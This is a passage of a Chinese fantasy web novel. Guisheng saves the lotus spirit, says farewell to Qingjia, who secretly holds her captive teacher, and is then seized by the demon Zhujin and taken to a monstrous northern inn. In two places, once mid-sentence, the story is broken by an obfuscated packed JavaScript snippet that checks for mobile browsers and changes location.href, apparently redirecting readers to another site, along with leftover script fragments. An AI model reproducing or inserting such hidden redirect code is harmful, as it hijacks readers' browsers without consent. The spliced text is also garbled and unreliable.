这样即使挣扎无果,也不至于摔得太惨。 上方异响连连,归笙艰难旋身,瞥去一眼。 只见千百盏莲瓣自那窄窗弋出,霏霏似雨雪,又连缀成长桥,急切向下坠的归笙涌来,似想将她托起。 却在即将碰到归笙的刹那,如傀儡受到提线的摆布,猛然向后倒退,被一股无形的力量粗暴地勒回塔顶。 “砰”的一声后,归笙重重坠在殿塔底层的檐面,险些将一层的殿顶砸出个人形天坑。 虽未伤筋动骨,但肘膝皆被震麻,归笙一时起不了身。 尘屑激扬间,归笙吐掉嘴里的瓦砾,龇牙咧嘴地抬起头来。 原本供奉莲心的净世台上,一道人影翩翩而立。 猎猎狂风中,被血色染红的月在那人身后,为其高颀的身形镀上猩红的轮廓。 翻卷的衣摆削薄凌厉,似数段磨砂的墨色刀片,一尾发束曳至腰间,依稀也作诡谲的片状。 那人轻轻收拢手指,无数从莲心身体中抽出的髓华,被其尽数归入掌心。 随即,那人微微俯身,向塔底望来。 黄沙如幕,将那面容隐匿得彻底,却有两道森冷的视线,与归笙相碰。 这股冰冷的感受…… 是那个在祈灵祭典上对她动手的家伙! 与此同时,塔顶的人歪了歪头,似在疑惑她居然没有活活摔死。 归笙:这混账还敢低头往下看? 那你的眼珠子就别要了吧! 在梁木下蛰伏已久的三爻霍然暴起,飞旋的镖刀般刺出窗洞,剜向那人正对下方的眼眶。 塔顶可落足之处极窄,那人猝不及防,无处可躲,也似不信这寒酸滑稽的核桃片能翻出什么风浪,只略略抬臂一挡。 然后就被斩下了整条手臂。 断臂飞出,那人身形踉跄了下,用力挥开死咬不放的三爻,转身便走。 循着三爻的气息,归笙强忍筋骨的不适,足踏飞檐,疾步上塔。 然而终究迟了一步。 那诡异的家伙已不见踪影,连那条被斩下的手臂也不知所踪。 归笙当即决定不再作无谓追捕,收回怏怏不乐的三爻,闪身进窗。 甫一落定,归笙便看到先前莲心所在之处,如今只剩一地零落枯萎的莲瓣。 一颗心霎时沉入谷底,又想到了什么,猛地一提。 归笙扑向那一地怎么看都生机殆绝的莲瓣,仓促地将它们拢到一起,又调动身体里剩余的清伽的髓华,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745446|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股脑全部注入其中。 奔涌的髓华果然如源头活水,逐渐唤起莲瓣脉脉的生机。 虽浅淡,却真实的一寸生机。 归笙一瞬不眨地望着眼前的一幕,忽而有种极其微妙的感受。 她好像突然明白,三百年前的清伽选择救下那只木头灵怪,究竟是出于怎样的一种心绪了。 与任何复杂的思考都无关,只是同为生灵,见到一息残存,却仍旧殷殷的求生之念,自然而然被叩响心底的柔软。 难怪清伽那样不愿多生是非,懒得多管闲事的人,会在三百年前的那一刻,选择出手相救。 想到清伽,归笙蓦地发起愁来。 清伽要的是她收服莲心,如今莲心变成了这样,算是完成任务了吗? 归笙不再多想,捧起手里的莲瓣,风驰电掣地赶回莲华殿中,直入清伽所在的隔间。 望见榻侧那道淡白的身影,归笙一个箭步抢过去,对他捧出手里奄奄一息的莲心,焦急地道:“你看看,这还能救吗?” 清伽垂眸,似乎在看她手中凋零的莲瓣,又似乎在看她掌心的擦伤。 他看得太久,久到归笙叽里呱啦把方才发生的事情复述完了,并再三表示她是临门一脚遭到偷袭,不是心狠手辣把莲心摧残至此,清伽还是没抬起头。 归笙说累了,也捧得累了,不自觉地蜷了下手指。 清伽这才抬眸,平静地道:“莲心不是普通的灵怪,修为本就高深,只要不再受伤,会自然恢复的。” 他咳嗽两声,又道:“不过,留在西漠这等灵髓贫瘠之处,就不一定了。” 归笙了然:“那我就带她走了。” 清伽:“嗯。” 似乎没有什么别的要说的了。 归笙迟疑地道:“那……告辞?” 清伽仍只是应了一声,不多言语,亦不作挽留。 他噙着笑,只是那笑意极淡,淡似晦月暗雪,孤清寂寥。 所以即便他已无声地向她颔首,算作向她的告别,归笙却莫名无法迈开脚步,更无法就这样转身离去。 心底仿佛有个声音悄悄地道:再同他说些什么吧。 说什么都可以,再多留一会儿吧。 归笙将这个突如其来的念头归咎于,这或许是她见清伽的最后一面了。 找到师母后,她应该就会和她一起回到中州,不会再来西漠了。 莲华境中的种种过往,虽非现实,但置身其中,对那些相处的感知却是真切的,那些欢乐嬉笑的时日,仍旧历历在目。 虽然出境之后,清伽对此段经历似乎并无特殊表示,甚至对她比原来还多了几分克制的疏离,但她却无法控制地对这个人心生亲近。 所以,在这即将分别之际,归笙有些不舍,也是她自己能够理解的。 归笙踌躇片刻,没话找话道:“西漠还是得戒备森严一些啊。” 清伽见她不走,望了她一眼。 归笙看不懂他眼中的情绪,只觉得那不像是赶人,于是接着道:“刚才和我交手的那个,在祈灵祭典当天,你差点就被他刺杀了。” 清伽摇了摇头:“刺杀我不是他的目的。” 他瞥一眼正被归笙收入乾坤袋中的莲瓣:“他一开始的目的,就是毁掉莲心。他之所以在祈灵祭典上逼你出手,便是为了让你变成一个活靶子,吸引莲华殿的注意,这样他暗中行事就方便了许多。” 归笙听得咬牙切齿:“原来如此……那他可真是个混账啊!” 这混账以后可千万别落到她手里! 否则她一定要摘了他的脑袋,塞进她的核桃! 归笙一顿畅想如何报复那贼人,捏得指骨喀喀作响,又忽觉怪异,道:“你和灵祖分明查到了有此人存在,为何不在这些天里搜捕他?” 清伽轻声道:“力有不逮。” 归笙:“……” 一个无懈可击又令人无语凝噎的理由。 也是,这些天里,其他灵侍忙着看护又追捕莲心,灵祖忙着设计让清伽陷入莲华境,而清伽就更忙了,前脚刚摆脱她那滴鼻血的阴影,后脚就陷入了莲华境,整个莲华殿简直乱成一锅粥了,无暇搜捕此神出鬼没之人也说得通。 这下是彻底没话说了。 归笙挠了挠头:“那,我走了。” 清伽轻轻垂首:“嗯,保重。” 38. 莫姑娘 清伽目送归笙的背影离去。 在那些遥远的记忆里,他其实很少见到她的背影。 那时候,她的肉身不稳定,随时有崩毁的危险,需要依靠他的髓华来维持平稳的状态,所以他们往往形影不离。 可是,作为一个想要成为灵主的灵侍,他有太多纷繁冗杂的事务,有时实在无法将她带在身边,只得在屋中布下充满髓华的咒术,将她留在那里,并承诺很快就会回来。 而她也从来不哭不闹,乖巧懂事地应下,甚至反过来逗他放心,说只是分开这么一会儿绝对没有问题,叫他千万不要小瞧了她。 所以那些年里,总是她望着他的背影离开。 如今他终于知道,这是一种怎样的滋味。 清伽慢慢起身,扶住莲华殿干裂的墙壁,慢慢地向殿外走去。 他始终弓着身,与五脏六腑间并非因伤势泛滥的痛楚对峙。 他走进那条让她惊叹不已的走廊,四面八方皆是千姿百态的镜面。 一步一步,向这境廊的最深处走去。 尽头处,是一面一丈高的镜子,镜身两侧各立一尊人俑,人俑执剑,神容肃杀。 镜面的寒光,映在清伽苍白而冷淡的面容上。 他将掌心按上镜面,镜面刹那应声而碎。 在镜界中的场景显现之前,先一步到来的,是一股浓郁而刺鼻的血腥气。 在这血腥气中,清伽冷淡的神容和缓了几分。 那面对无知无觉的她时,满心的痛苦与哀怨,终于浅浅消淡了些。 他踏入镜界,长袖一拂,墙角的一根蜡烛昏昏燃起。 烛光黯淡,似一头垂垂老矣的困兽,踱步袭向牢狱正中的一道人影。 那是一个被锁链吊住的女人。 女人四肢皆断,半跪在地,头颅深深低垂,容颜隐匿在发丝的阴翳下。 满身血垢干结成黑红的染料,将那一袭破败的红衣涂染得面目全非。 倘若忽略那微缓起伏的胸膛,单看此颓丧之态,恐怕会误以为这里吊着一具死去多时的尸体。 全无莲华境中,衣红若霞,裙裾似锋,一剑解决祟物的凛然意气。 清伽道:“别来无恙。” 无人应答。 女人一动不动,一声不吭,好似不知有人踏入了这座镜面后的牢狱,还对她发出了看似善意的问候。 清伽微微垂眸。 良久,他淡声说:“你将她教得很好。” 这一回,女人终于有所反应。 她低低地笑了一下,笑声嘶哑,似有血块哽咽在喉。 “和我可没什么关系。” 久未出声,女人道出的字句几不成形,却能从那轻缓的咬字与吐息,听出丰盈而柔软的温情。 “从她来到我身边那天起,她就是那个样子。” “……” 清伽不再看她,望着牢狱的一角,平静开口,陈述一个事实:“三年前,你来西漠莲华殿借碎虚宝镜时,就认出了通过莲华境回溯的她。” 女人漠然道:“是又如何。” 清伽停顿了一下,道:“我有点好奇,那时候你应当就知道,你此行凶多吉少,那你为何还要执意前往北原的魔元山?” 女人扯了下唇角,不屑地道:“怎么,元魂碎片融合后,你脑子恢复正常了,想到自己之前在魔元山顶干的事,后悔了,怕她知道?” 清伽叹气:“谈不上后悔。” “不过,你若是不去那一趟,现在的局面至少不会这么难看。” 女人冷笑:“再难看,也是你一手造成的。” “比起魔元山的事,你不应该更担心她知道——” “是你故意使用镜显之术,让她在镜中看到我,千里迢迢诱她过来,就是为了取出她体内残存的煌星木种,挽救你心心念念的西漠么?” 清伽摇了摇头:“我第一眼见她就知道,她体内那一点残存的木种,便是取出来,也未必能救活如今的煌星木。” “‘未必’,”女人讥讽地道,“可你到底连试都没试。” 清伽笑道:“怎么听你的意思,你似乎很希望我将她扣下?有你这么做人家师母的吗?” 栖迟大笑出声。 那笑声牵动肺腑间未愈的伤,又撕出一阵剧烈的咳嗽。 “听不出来吗?” 她生生吞下咳嗽,挑起恣长的眼梢:“我是瞧你处心积虑算计一趟,却临阵反悔下不了手,到头来全白忙活,在奚落你。” “还有,”她偏头吐出一口血,语气却越发张扬,“听你这‘师母’二字讲得咬牙切齿的,心里怕是想说‘窃贼’吧。” 清伽笑意微敛,淡声道:“你不是吗。” 栖迟毫不犹豫地承认:“我是。” “但被莲华境反噬而算计起她的你,又好到哪里去?” 栖迟呵呵笑道:“若是纯粹的算计倒也罢了,瞧你那前一副后一副的做派,又是把人关进养伤的水月牢,又是故意让她看到你曾在牢底受苦的景象……你是在表演反复无常?还是在向她撒娇呢?” 清伽静了静,却没有反驳。 他微一抬手,缠身的锁链将女人吊起。 “无论如何,该把你换一个地方了。” 清伽冷淡地道:“如你所见,第一道计划失败了,我下不去手。” “我还有一缕元魂碎片在外多年,需要前去收回,无暇时时刻刻盯着你。” “不过,若你回心转意,愿意接受我的第二个计划,随时都可以来跟我说。” 清伽望着那张面目全非的容颜,轻声道:“莫姑娘。” 女人一语不发,像是什么都没有听到。 锁链叮叮当当散落一地,她的身影渐渐被咒术吞噬。 清伽不紧不慢地看着。 就在这时,身后传来一道脆生生的嗓音,伴随“笃笃”敲响镜门的动静。 “清伽?清伽你在这里吗?” 有那么一瞬间,清伽以为是自己不舍太过,以至于出现了幻听。 他分明是亲眼看着她走掉的。 结果紧接着,他就听那嗓音道:“我回来找你有点事情,灵祖跟我说你来这里休息了,我可以进去吗?灵祖把通行契给我了,你身体不舒服的话不用过来给我开门,我自己进去就好了。” 清伽:“……” 带离栖迟的咒术遽然提速。 在栖迟远去的嗤笑声里,清伽近乎仓促地踏出镜界。 镜门死死合拢,不留一丝余隙。 与一步外俏生生立着的人目光相接,清伽脊背一阵发寒,汹涌的恐惧险些将他淹没。 就差那么一点…… 见清伽一声不吭地冒出来,归笙被吓了一跳,又发现他的脸色比她离开前还要煞白,这惊吓便转为了忧心:“……你怎么了?我突然回来吓到你了吗?” 但是有必要吓成这样吗?她又不是什么洪水猛兽啊。 迎着她乌润的眸子,清伽定了定神,淡声问:“还有什么事?” 他的态度比先前还要疏离。 归笙只当他是被吓得狠了,善解人意地退开两步,降低自己并不存在的压迫感。 还未开口,归笙便先挠了挠头,因为自知接下来要说的话颇有些越界,很是苦恼该如何启齿。 欲言又止了半晌,归笙一捏拳头,把心一横,将一路折返时打好的腹稿托出:“我想了想……我们要不要,互相留个传音法宝?” “……” 既然说出了口,归笙便不再踟蹰。 她直视清伽怔然的眼睛,坦然将想法告知:“到了你真的别无他法,需要再次散尽髓华的时候……你可以传音给我。” 她将手搭在九窍核桃上,直言不讳道:“我有一个方法,可以延续西漠的灵髓。” “虽然不知道能延续多久,”她顿了顿,“但我是觉得,能拖一时是一时吧。” “万一在这一时里,你们就找到了破解之法呢?” 不到最后一刻,不到退无可退,总还有是一丝希望的。 归笙不忘强调:“之所以不能现在就帮你,是因为这个方法不能随便用,所以只能留到万不得已。” 清伽一时没有作声。 他望着眼前昂首挺胸,努力让自己看起来伟岸可靠的小姑娘。 和三百年前一样,她的眸光比天星还要清亮。 一点都没有变。 良久。 清伽轻声道:“不要滥好心。” 他才夸过那人把她教得好,谁成想她转头就这样,对不知底细的人和盘托出好意,丝毫不设防备。 见这人沉默半天,开口第一句就是对她训话,归笙不禁略感郁闷:“我也不是对谁都这样仗义的。” 相反,因在天霄派的遭际,她惯于斤斤计较,也擅长置身事外,如非有所盘算,鲜少在明面上主动给自己找事。 然而方才离开后,她人都奔出莲华殿老远,心思却仍在原地盘旋打转。 手在核桃上搭了又放,放了又搭,一顿徘徊纠结,险些把核桃摸秃噜一层皮,才最终咬一咬牙,原路返回。 “反正,”归笙郑重其事道,“我想帮你这个忙。” “虽然……”她摸了摸鼻梁,“我也讲不清缘由,或许是因为和你在莲华境中的相处真的很愉快吧,怎么着我也算是……呃,看着你长大的?” 清伽:“……” 他呛了一下,终于忍不住笑了:“你就不怕我没表面上这么大度,知道你身怀奇技,能免我一死,不禁心生歹念,将你扣押在此处吗?” 他一笑,若春风化雨,将那道自出了莲华境后,便横亘在二人间的无形屏障消解许多。 归笙仿佛回到了莲华境中可以同他肆意斗嘴的时候,心里话不由脱口而出:“其实你表面上也没多大度,尤其是这张嘴。” 清伽:“……” 他望着对面说完也自觉有些尴尬的归笙,藏在袖间的手指微微蜷起。 下意识地,想屈起指节,在她的额头敲上一记。 就像曾经那样。 可是,三百年时过境迁,有太多的事情已经改变。 回不去了。 清伽慢慢地,对归笙抬起手。 归笙不明所以:“这是?” 清伽微笑:“击掌为誓。” 归笙瞠目:“留个传音法宝还要击掌为誓?你这是怕我在法宝里动什么手脚吗?” 清伽眨了下眼:“说不定,万一呢?” 虽然听出他是在开玩笑,但归笙还是一阵无语:“就算我真的要动手脚,你这个击掌为誓的约束力几乎等于没有啊,难道你要我发毒誓吗……” 说是如此说,她也将手举起,印上清伽的掌心。 却又不止于此。 那温热的手指,倏然穿过她微张的指缝,十指紧紧相扣。 不待归笙反应,清伽又将她牵近。 那力道并不算大,甚至称得上温柔。 归笙却因猝不及防,被牵得一个踉跄,向他扑去。 额头相贴。 有一泓柔和而邃远的髓华,自相贴之处,凝聚至归笙的眉心。 归笙懵然,一句“你又给我髓华做什么”到了嘴边,意识却陡然模糊。 那张近在咫尺的容颜渐渐朦胧,似一场镜花水月的梦。 不知他是否看她,也不知他此刻是怎样的神情。 正当归笙惊恐这人该不会真的要把她迷晕扣下来的时候,她听到轻轻的一句:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745447|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“一路平安。” …… 将人送走后,镜廊之中重归寂静。 水月牢底的三百年,并没有让清伽习惯寂静。 三百年间,他的髓华代替煌星木的灵髓,踏遍西漠的每一处角落,路过西漠的每一个城民。 由于髓华与元魂相连,他无法逃避地听到形形色色的心声,或来自人族,或来自灵怪,或来自其他居于西漠的族裔。 最初,他能听到感激。 渐渐地,他在怨声中翻拣善言。 到了最后,他平静地接受那些流言蜚语,怒骂诅咒。 直到五年前,随着这些髓华也即将殆尽,他终于不再听到这些声音。 在那同时,属于他少年时段的元魂碎片占据肉身,向灵祖提出将功折罪。 这个从水月牢底走出来的少年,虽然承接了三百年前的记忆,却因莲华境的反噬,被割裂成一个孤立的人格,因而似乎并没有延续那份三百年前的感情。 他似一个满心讥诮的看客,冷眼旁观着那些属于另一个元魂碎片的记忆,认为三百年前的自己不可理喻,且愚蠢透顶。 就为了这么个木头灵怪,把自己沦落到如此境地? 他想,既然这只木头灵怪仍然活在世上,体内不知为何还有残存的煌星木种,那么就只需利用那个三年前抓来的女人,将这只灵怪引至西漠囚禁,剥皮抽筋,取出木种,救活煌星木,就能解决他身负的三百年骂名。 他是这么想的。 可惜,他高估了他自己。 祈灵祭典上,听着那阔别三百年的步声,一步步向云辇踏近。 甚至,直到雪纱扬起的前一刻,他还在想,自己应当为她不出所料地落入陷阱而感到省心。 然而,当身手轻灵的少女低头望来,四目相对的刹那。 他却在想,原来,这就是她平安长大的样子。 …… 归笙睁开眼睛。 触目所及处,黄沙漫天,大漠流金。 西漠主城遥在天际,只余恢宏的轮廓依稀可辨,如一座虚幻的海市蜃楼,可望而不可即。 一如她来时见到的场景。 这些日子在西漠的经历,恍然一梦。 归笙出神地想:清伽这是……直接将她送出了西漠? 她蓦地想起什么,忙给自己浑身上下检查了一番。 确认没缺胳膊少腿,九窍核桃也安然无恙,归笙才重重地舒了口气。 清伽临别时的状态有异,似乎有事情瞒着她,她不得不留些心眼。 看来是她想多了,人家就是拒绝了她的提议,并好心送她一程罢了。 虽然心知人家没有义务接受自己的好心,但归笙还是一时胸口窒闷。 她怏怏不乐地伸出手,想将乱糟糟的头发绑起来,好让颈间清爽一些。 手背却陡然一凉。 归笙一愣,抬头。 手背如抵住一堵看不见的砖墙,无法再向前推进一寸。 而这方向,正对西漠主城。 有个念头乍然腾起,归笙不可置信地站起身,用力往那方向一迈。 那果然是一道无形的结界,瞬间将她整个人弹了回来。 沙地松软,归笙一个没踩稳,一屁股跌坐在地。 归笙呆呆地坐了一会儿。 这是什么意思? 要她以后都不准来西漠了吗? 她想过会被拒绝,毕竟出了莲华境,她和清伽根本不熟。 但没想过会被拒绝得如此彻底,对方竟然直接设了一堵隔绝结界,和她再也不见的架势! 归笙越想越生气,越想越忿忿不平:有必要吗? 她又不会掐着他的脖子,逼他收下传音法宝。 拒绝了就算了,自求多福吧! 想通了,归笙重振旗鼓,抹把脸,就地爬起,抖掉身上的黄沙。 她还要去找师母,没工夫再耽搁了。 归笙一抡胳膊,甩出二爻,没好气道:“带路,去北原,魔元山!” 二爻被她甩得在空中一个急刹,骂骂咧咧地掉过头来,往相反的方向飘去。 归笙甩甩袖子,紧随其后地跟上。 然而没走两步,她身形一滞。 不对劲。 她分明结结实实地踏在地上,却有一脚踩空的不真实感。 归笙低头,但见足下黄沙平坦,似乎并无蹊跷。 莫非是她心绪作怪? 毕竟她此刻的确心神不宁,怒火中烧。 归笙深呼吸三下,不再多疑,继续向前走。 然而很快,归笙就知道,那股若有似无的怪异感,并不是她的错觉了。 足底原本平坦的沙地,在某一瞬,忽地被抽光了表层之下的黄沙。 方圆十丈的沙地,顿如一层脆薄的空心卵壳,以归笙的足心为裂口,向外蜿蜒生出蛛网般的裂纹。 下一瞬,裂口处的黄沙塌陷。 下陷的流沙立时汇聚成一轮立体的漩涡,又如狂暴的涟漪疾速外扩,中心的沙眼犹如怪物翕张的喙齿,将归笙的双腿牢牢绞住,一截一截、一段一段地向下吞噬。 一切只发生在瞬息之间。 待归笙反应过来时,她已被这沙眼吞没了半截身体。 尚有两条胳膊可用,正当归笙寻思哪个核桃可以派上用场时—— 两条锁链破空而来,自归笙的腰间穿过,如一对闭合的手掌,将她手里的核桃碾碎成灰,并将她的手臂反绞至身后。 那锁链缠绕青焰,似皑皑雪原中,流离浪迹的青色磷火。 沉重若万仞山岳的修为镇压里,红缨耳珰的魔族一步步地走近。 直到在归笙面前站定。 “总算等到你了。” 39. 入北原 半月之后,北原域境内。 今日的北原,还是一如既往的天象欠佳。 尤以魔元山方圆百里之内,天象最为恶劣,恶劣到近乎歹毒。 凛风若剔刀,乱雪如陨石,许多踌躇满志赶赴魔元山的妖魔鬼怪,由于铁头功稍欠火候,半道便被风刀剐光了皮肉,被雪砾砸穿了脑袋,憾作了这茫茫雪原中的血色点缀。 遥遥望去,那一朵朵炸开的血色,真如一簇簇艳烈的红花,漫山遍野地盛放。 此等姹紫嫣红的美景,自然不能白白浪费。 “二层靠窗花景房!魔元山上好风光!仅剩一间嘞!先到先得!” 魔元山外围,魍魉客栈内,掌柜长舌魔正热情洋溢地吆喝叫卖最后一间客房。 它所对着叫卖的方向,正是自家客栈的大堂。 此时此刻,堂中坐满了各式各样的北原才俊。 其中偶有三两个尖嘴猴腮、獐头鼠目,但隐约能辨出个人形的,在其他贵客的衬托下,已经算是相当优雅保守的那一类。 只见最靠近柜台的一桌,一条青紫色的断臂悍然霸座,五根手指插入茶盏,盏中的紫色茶水渗入一开一合的指甲缝,手背上的眼球舒适而餍足地眯起。 在它隔壁桌,两只膀大腰圆的靴子各自雄踞一张长凳,正为桌面上一盘发霉的花生米争执得不可开交,而它们具体的斗争方法,是将敞开的靴口对准对方,齐齐强力散发出一股绿色的气体。 周围桌惨遭这强力气体的殃及,纷纷捂鼻退避三舍,也有暴脾气的妖魔直接上前,将那两只靴子双双踹出客栈大门,骂骂咧咧地走开时,没忘了顺走桌上的那盘哈哈大笑的花生米。 一言蔽之,群魔乱舞。 掌柜却早已见怪不怪,兀自沉浸在自己叫卖空房的艺术里。 不一会儿,有一条腿蹦上前去,一个高抬腿架上柜台,膝盖处的皮肉“喀喀”开裂,从中吐出一枚血淋淋的鼻头肉。 长舌魔嘿嘿一笑,血口一张,一条游蛇般的舌头滑出来,卷住那枚鼻头肉,捞回口中吞下。 咀嚼间,涎液混杂着鲜血,沿着长舌魔的口角流下。 它发出一声满足的喟叹,将房牌朝那条腿上一挂,道:“预祝您度过美好的一夜。” 那条腿蹦蹦跳跳地上二楼去了,长舌魔则将柜台上的立牌翻了个面,露出四个歪歪扭扭的字样:“今日客满。” 长舌魔刚收回手,客栈门口便出现一道修长的人影。 那人黑氅猎猎,翻卷着凛冽的雪气息,面部笼罩在帽檐投影下,只露出一段冷白的下颌,淡色的唇线薄抿,似无瑕无垢的玉质雕塑。 而与他这一身峻峭的装束格格不入的,是他头顶上一只圆茸茸的毛球。 长舌魔好奇地想:那是帽顶的装饰么?小东西还挺别致。 然而当那人走近,长舌魔才恍然看清,那毛球原来是一只闭着眼睛打盹的小白雀。 小白雀身材圆润,白羽橘喙,长尾如一对黑亮的剪子,实在精致可人。 长舌魔瞬间心动了。 虽然今日已经满房,但它日常来财的路子还有一条:打劫。 正好,就从这一看就是故作神秘的家伙劫起吧! “呦呵,这小白鸟真漂亮呐。” 长舌魔一声尖笑,长舌出击,直掠那懵然睁眼的小雀而去。 就在这时,那人帽檐微抬。 两道锁链遽然暴起,左右贯穿那条红舌,猛地向外一拽。 舌根猝然绷紧,发胀发紫,即将生生崩断。 然而那恐怖的力道仍在向外撕扯,痛得长舌魔不住抽搐打挺,半个身子都被拽出了柜台。 自知得罪了不得了的家伙,长舌魔颤巍巍举起一双手,对那人不住地摇手讨饶,喉间溢出破碎的字句:“不敢了……不敢了……饶命……” 话音才落,锁链撤出。 那条舌头顷刻如弹簧一般,蹦回长舌魔的脸上,留下一道深深的血痕。 没管嗷嗷惨叫的掌柜,烛烬径自以青焰燎去锁链上的毒液,又在柜台上放下两颗带血的牙齿,淡声道:“一间房。” 长舌魔抖抖索索地将自己的舌头盘好,正打算重新塞回喉咙里,又陡然认出那两颗牙齿来自何物,手一抖,舌头又“哗啦啦”淌了一地。 它仓皇道:“客客客……客官,今日小店已经客满,还还还……还请另择……” 一句话讲得七零八落,几乎是边咬舌头边往外蹦字。 但长舌魔也顾不得这么多了,意思到位就行,它只想赶紧送走面前这尊大佛。 那两颗牙齿的主人它认得,正是这片地盘前不久新晋的霸主,以一当百杀穿了之前盘踞于此的族群,飘过来的血雾它活活打扫了三天才清干净。 长舌魔前天刚给它交过保护费呢! 结果今天,这霸主就成了它柜台上的两颗牙齿。 面前的人是何等恐怖的实力,不言自明。 然而听了长舌魔的话,烛烬却没有转身离开。 他对长舌魔摊开手道:“登记簿册。” 长舌魔一愣,不明所以,但还是忙不迭奉上。 甫一翻开,烛烬头顶上的小雪球就“哕”了一声。 还不是浅浅一哕,而是哕得荡气回肠。 烛烬顿了顿。 长舌魔欲哭无泪:拿口水毒液写的字,味道是有点上头。 但这气味对敢在北原生活的人来说绝对是小菜一碟啊! 这小鸟是不是北原的原住民啊?嗅觉怎会如此脆弱! 烛烬将头顶上的白雀拿下来,对长舌魔道:“寄存。” 然后,他就拿着簿册到旁边看去了。 临走前不忘提醒:“少一根羽毛,你这间客栈就别开了。” 长舌魔:“……” 那口吻轻描淡写,它却不敢将其视作随口一提。 于是它只好尽心尽力地代为保管起这只貌似很娇贵的小白雀。 然而长舌魔捧着也不是,怕满手的血灰弄脏那干净的羽毛;就这么放在柜台上也不是,柜台比它的手还五彩斑斓;放在物品寄存处也不是,那里挂着其他客人存放的滴血的皮毛,好巧不巧,还正是一张鸟皮。 旁观了一阵长舌魔的手忙脚乱,白雀默默无言地翻了个白眼。 它主动拍打翅膀,一颗雪白的气泡般徐徐升起,悬停半空。 然而,和白雀肥肥圆圆的躯干相比,它那两根翅膀实在纤细得可怕,即便已经扇出了残影,整个肥啾仍旧东倒西歪,摇摇欲坠。 长舌魔看得胆战心惊,忙不迭展开一块还算干净的手帕,等在白雀的下方。 就在这时,由于白雀的翅膀挥舞得太快太狠,一根雪白的羽毛盘旋飘下。 长舌魔心头巨震,在那一瞬仿佛看到了它苦心经营的客栈被那凶残的客人夷为灰烬。 电光石火间,绝望的掌柜凝聚起毕生智慧的结晶,“唰”地飞出舌头,以迅雷不及掩耳之势将那片羽毛卷回咽下,成功毁尸灭迹。 危机解除,自家的客栈能开下去了,长舌魔眼含热泪地松了口气。 结果一抬眼,就和瞳孔地震的白雀面面相觑。 “……” 相顾无言间,白雀眼睁睁看着长舌魔的眼中喷出两行热泪。 长舌魔声泪俱下,苦苦哀求道:“白雀大人,求您行行好,切勿声张您掉了根羽毛,切勿叫那位大人知道了!小店薄本生意,经营不易,正所谓钱难挣屎难吃,不是生活所迫谁想在北原这个破地方开店……求您放小店一条生路吧!” 白雀:“……” 白雀怜悯地瞅它一眼,同病相怜地点了点头。 另一厢,烛烬翻阅完登记入住的簿册,并撕下了其中一页。 他捏着那一页,转身踏上台阶。 他的身影消失在楼梯尽头没多久,吵吵嚷嚷的客栈二层便是一静。 旋即,爆开一阵杀猪般的凄厉惨叫。 惨叫声中,有三颗猪头被甩出二楼窗外,轰然坠地,散作重重血雾,又转瞬被呼啸的风雪掩埋。 大堂鸦雀无声。 在各路妖魔鬼怪的莫测注目下,烛烬不疾不徐地走下楼来。 他照例用青焰燎去血迹,旁若无魔地走近柜台,扫了眼白雀。 然后冷冷看向长舌魔。 长舌魔心跳骤停:这都能看出来?! 好在白雀十分仗义,飞扑过去要啄烛烬的眼睛,啾啾个不停。 烛烬皱眉,一把将吵吵的白雀掐进手心:“知道了。” 世界安静了。 烛烬没再理会长舌魔,掐着无法发声的白雀回到二层,进入刚腾出来的房间。 说是房间委实抬举了它,观其风貌,顶多算是个石窟的遗迹。 石门、石窗、石墩、石帐、石床。 最令人费解的是一根石头做的蜡烛,散发着并不存在的光亮。 烛烬合上石门,将手里的白雀随意一丢。 白雀在空中翻了个滚,化出个白袍飘飘、乌发云云的少女来。 正是归笙。 归笙一落地就指着烛烬的鼻子破口大骂:“你就不能抓轻点!你知不知道你强迫我化的这个胖鸟很脆弱的!你刚刚差点把我捏爆你知道吗?!” 烛烬冷淡地道:“谁让你变成这样子了话还那么多,吵死了。” 归笙:“我不拦你,难道要让你误会人家吗?!” 烛烬:“那你现在别说话了。” 归笙:“……” 眼下局面的成因,要追溯到半个月前。 那时归笙刚被赶出西漠,就被烛烬布下的陷阱给逮住了。 迎着对方意味不明又居高临下的视线,将这只实力深不可测的魔兽当作交换条件送出去的场景,顿时在归笙的脑子里噼里啪啦地灿烂炸开。 当时之所以会把烛烬交出去,归笙的思路其实是这样的:根据传闻,百闻渡的当家至少也是有两百年修为的存在了,而且常年以贩卖消息来获取各路法宝,手里的天材地宝不计其数,困住一个顶多十七八岁初出茅庐的魔兽崽子想来不在话下。 所以归笙才那么放心地把烛烬交了出去,并且对方也毫不推辞地接下了,对方那份从容的自信更加坚定了归笙的想法。 谁知道百闻渡的当家那么拉胯啊! 怎么就让这只崽子逃出来了呢! 然而事已至此,只能痛定思痛。 归笙当场就滑跪了:“玄婴族的魔兽大人您大人有大量!您作为一颗冉冉升起的北原新星,切莫同我这个弱小的人族一般计较啊!” 烛烬确实没和她一般计较。 “你跟我同去北原。” 他言简意赅道:“帮我个忙,之前的事就一笔勾销。” 归笙:天底下还有这种好事?她正要去北原啊! 烛烬:“不愿意?” 归笙:“我愿意我愿意!我可太愿意了!” 应完又谨慎地问了嘴:“请问大人您具体是要我帮什么忙呢?” 烛烬:“到了你就知道了。” 归笙:“哦……好……” 烛烬见她忽然气若游丝起来,不解道:“你怎么了?” 